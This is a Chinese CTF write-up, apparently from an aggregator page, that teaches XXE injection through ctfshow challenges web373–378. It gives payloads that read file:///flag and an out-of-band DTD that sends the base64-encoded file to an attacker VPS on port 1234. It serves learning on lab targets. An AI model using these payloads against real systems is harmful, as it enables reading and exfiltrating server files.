当前位置: 首页 > news >正文

WEB入门——XXE

什么是XML

可以把它和HTML对比来理解:

  • HTML 的标签(如<h1><p>)是预定义好的,主要功能是告诉浏览器如何显示内容。
  • XML 的标签则可以由开发者根据需求自己定义,用来清晰地描述数据的结构和含义。
<?xml version="1.0" encoding="utf-8"?>
<note><to>小明</to><from>小红</from><heading>提醒</heading><body>别忘了周五的会议!</body>
</note>

了更好地理解XXE,我们还需要了解XML中两个与漏洞密切相关的关键组件:DOCTYPE 和 ENTITY
DOCTYPE (文档类型声明) :它通常出现在XML文档的顶部,用于定义该文档的结构和规则。对于XXE漏洞来说,DOCTYPE最重要的作用是,它提供了一个可以定义实体(ENTITY)的地方
ENTITY (实体) :必须在DOCTYPE声明中定义,主要有两种:
1.内部实体:像一个简单的文本变量,方便在文档中复用。例如:<!ENTITY author "Wayne">,之后在文档中使用的 &author; 就会被替换为 “Wayne”
2.外部实体:这是XXE漏洞的核心。它允许我们引用外部资源的内容,例如服务器上的一个文件或一个网址。例如:<!ENTITY xxe SYSTEM "file:///etc/passwd">

什么是XXE

XXE全称是“XML外部实体注入”(XML External Entity Injection),当一个应用程序接收并解析了用户提交的XML数据,但其XML解析器配置不当时,就容易产生XXE漏洞
流程如下:
1.构造一个恶意的XML文档
2.在文档中定义一个指向服务器本地敏感文件的外部实体,例如: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3.在XML数据中引用这个实体&xxe;
4.服务器在解析这段XML时,会查找并读取/etc/passwd 文件的内容,并用它替换掉&xxe;
5.最后,攻击者通过页面的回显(有回显XXE)或将数据发送到自己的服务器(无回显XXE)来窃取信息

web373 有回显的XXE

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);    

分析:

// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();// 加载xml实体,参数为替代实体、加载外部子集$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);// 把 DOM 节点转换为 SimpleXMLElement 对象$creds = simplexml_import_dom($dom);// 节点嵌套$ctfshow = $creds->ctfshow;echo $ctfshow;
}

有回显的XXE
POST:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<!-- 对应源码的$ctfshow = $creds->ctfshow; -->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

web374 无回显的XXE

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

相比上一题,这一题少了回显代码
少了:

$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;

在vps的网站根目录创建test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!-- “&#x25;”是 % 的意思,因为是嵌套引用,所以不能直接写% -->
<!ENTITY % eval "<!ENTITY &#x25; out SYSTEM 'http://vps地址:1234/?x=%file;'>">
%eval;
%out;

web375?

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

web376?

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

web377?

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

web378

直接抓包构造payload即可

function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({type: "POST",url: "doLogin",contentType: "application/xml;charset=utf-8",data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}}); 
}

payload上传注意修改:
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

WEB入门——XXE.png

http://www.zskr.cn/news/1512658.html

相关文章:

  • 思源黑体TTF:多语言字体Hinting技术的完整实现方案
  • OpenEMS开源能源管理平台终极指南:三步构建智能微电网系统
  • 别再只调YOLOv8的Head了!试试用Gold-YOLO的GD机制优化你的Neck,实测mAP提升明显
  • 2026年上海小程序开发公司推荐:优质服务商深度解析 - 资讯报道
  • C# WinForms打地鼠游戏源码包:含完整VS工程、音效资源与清晰注释
  • Deepin Boot Maker:新手友好的启动盘制作终极指南
  • 情侣蜜月专属向|2026内蒙古浪漫情侣向导TOP7|求婚/纪念日/蜜月零踩坑专属榜 - 纯玩旅游分享
  • R语言回归建模速查包:线性回归、决策树、SVR等5种算法即开即用
  • 多式联运系统 vs TMS:从技术架构角度看本质区别
  • 深度解析SheetJS:企业级电子表格数据处理的性能优化与架构设计指南
  • node安装新版本,并解决opencode和claude code不能用问题
  • 从‘事后诸葛亮’到智能体导师:深入拆解HER的四种Goal采样策略(final, future, episode, random)
  • Visual C++ Redistributable AIO:彻底解决Windows程序运行问题的完整方案
  • Onekey Steam Depot清单下载工具:小白也能轻松获取游戏清单的终极教程
  • VSCode Remote-SSH基于本地代理使用Codex
  • QueryExcel:如何在1分钟内完成原本需要1天的Excel批量查询工作
  • NLP驱动的系统性文献综述数据提取方法
  • 30分钟精通OpenProject部署:打造企业级项目管理平台的完整方案
  • Visual C++ Redistributable AIO:终极一站式解决方案,告别Windows程序启动烦恼
  • 终极免费工具:3分钟学会用WindowResizer强制调整任何Windows窗口大小
  • 2026无锡香奈儿包包回收哪家好?权威龙头机构实力解析 - 奢侈品回收评测
  • Lattice Mesh 如何在 Anduril 的 Fury 无人战机或反无人机系统 中落地应用-扮演“神经系统”和“数据链路桥梁”的核心角色
  • 终极天龙八部GM工具:3分钟快速掌握单机游戏数据管理完整指南
  • WorkshopDL:无需Steam客户端也能轻松下载1000+游戏模组的终极解决方案
  • 通达信缠论分析终极指南:三分钟实现智能量化交易
  • 终极暗黑2存档编辑器:d2s-editor让你的游戏体验无限可能
  • Farkas引理在编译器优化中的隐藏应用:如何用它自动判断循环能否并行化
  • 基于IAR工具链的i.MX1 ARM9嵌入式开发环境搭建与实战
  • QueryExcel:三分钟掌握Excel跨文件批量查询的完整方案
  • MC68HC16Z2嵌入式开发:SRAM、ROM与GPT模块配置实战详解